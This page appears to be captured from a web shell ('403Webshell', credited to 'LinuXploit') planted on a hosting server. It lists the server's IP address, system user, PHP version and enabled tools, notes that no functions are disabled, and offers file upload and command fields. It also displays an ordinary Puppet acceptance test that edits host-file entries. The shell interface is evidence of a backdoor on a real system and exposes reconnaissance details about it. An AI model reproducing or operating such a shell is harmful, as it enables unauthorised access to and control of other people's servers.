403Webshell
Server IP : 66.29.132.122  /  Your IP : 3.135.184.146
Web Server : LiteSpeed
System : Linux business142.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : admazpex ( 531)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/puppetlabs/puppet/vendor_modules/host_core/spec/acceptance/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/puppetlabs/puppet/vendor_modules/host_core/spec/acceptance/tests/modify_spec.rb
require 'spec_helper_acceptance'

RSpec.context 'when modifying host files' do
  agents.each do |agent|
    context "on #{agent}" do
      let(:target) { agent.tmpfile('host-modify') }

      after(:each) do
        on(agent, "test #{target} && rm -f #{target}")
      end

      it 'modifies a host address' do
        on agent, "printf '127.0.0.9 test alias\n' > #{target}"
        on(agent, puppet_resource('host', 'test', "target=#{target}",
                                  'ensure=present', 'ip=127.0.0.10', 'host_aliases=alias'))

        on(agent, "cat #{target}") do |result|
          fail_test 'the address was not updated' unless
            %r{^127\.0\.0\.10[[:space:]]+test[[:space:]]+alias[[:space:]]*$}.match?(result.stdout)
        end
      end

      it 'modifies a host alias' do
        on agent, "printf '127.0.0.8 test alias\n' > #{target}"
        on(agent, puppet_resource('host', 'test', "target=#{target}",
                                  'ensure=present', 'ip=127.0.0.8', 'host_aliases=banzai'))

        on(agent, "cat #{target}") do |result|
          fail_test 'the alias was not updated' unless
            %r{^127\.0\.0\.8[[:space:]]+test[[:space:]]+banzai[[:space:]]*$}.match?(result.stdout)
        end
      end
    end
  end
end

Youez - 2016 - github.com/yon3zu
LinuXploit